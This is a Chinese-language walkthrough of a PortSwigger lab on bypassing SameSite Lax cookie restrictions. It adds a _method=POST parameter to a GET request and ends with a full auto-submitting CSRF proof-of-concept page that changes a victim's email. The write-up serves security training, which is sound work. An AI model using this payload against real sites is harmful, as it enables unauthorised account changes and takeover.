从业者-SameSite Lax绕过-覆盖请求方法
# 实验室：SameSite Lax绕过-覆盖请求方法
# 题目
此实验室的 电子邮件更改功能 容易受到 CSRF 的攻击。若要解决实验室问题，请使用漏洞利用服务器托管一个 HTML 页面，该页面使用 CSRF 攻击来更改查看者的电子邮件地址。
你可以使用以下凭据登录到自己的帐户：wiener:peter
笔记
默认的 SameSite 限制因浏览器而异。由于受害者使用 Chrome，我们建议你也使用 Chrome（或 Burp 内置的 Chromium 浏览器）来测试你的漏洞。
提示
你不能注册已被其他用户占用的电子邮件地址。如果你在测试漏洞期间 更改了自己的电子邮件地址，请你确保——向受害者发送的最终漏洞利用中，应包含不同的电子邮件地址。
- name: 实验室-从业者
desc: SameSite Lax绕过-覆盖请求方法 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-lax-bypass-via-method-override
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
进入实验室，点击 “My account” 访问登录界面，并使用题目中提供的用户名和密码进行登录。
登录之后，我尝试修改了一次邮箱，正常。
使用开发者工具查看 Cookie 信息，SameSite属性栏为空，难道没有防护？
使用邮箱更改数据包生成一个 CSRF PoC。
然后自己访问一遍，执行 CSRF 攻击失败。
在更改邮箱时，账户的 Cookie 未被包含在请求中，说明具有 SameSite 防护。
还记得教程中所说的吗？如果未设置 SameSite 属性，则 Chrome 会自动应用 Lax（宽松）级别的限制。
尝试将请求方法修改为 GET，请求失败。
根据学习教程中所说的，在 POST 请求中添加一个传参_method=GET，请求失败。
那反过来呢？在 GET 请求中添加_method=POST，请求成功。
这说明，服务端通过_method参数来识别请求方法，当传递_method=POST的时候，服务端以为是 POST 请求，但实际的请求方法却是 GET。
使用以上请求生成一个 PoC：
别忘了修改 PoC 中的邮件地址，防止冲突。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://<受攻击的域>/my-account/change-email">
<input type="hidden" name="_method" value="POST" />
<input type="hidden" name="email" value="j@k.l" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
2
3
4
5
6
7
8
9
10
11
12
13
14
保存以上 PoC 到漏洞利用服务器，然后发送给受害用户。
载荷正确，成功更改了受害用户的邮箱地址。
实验完成。
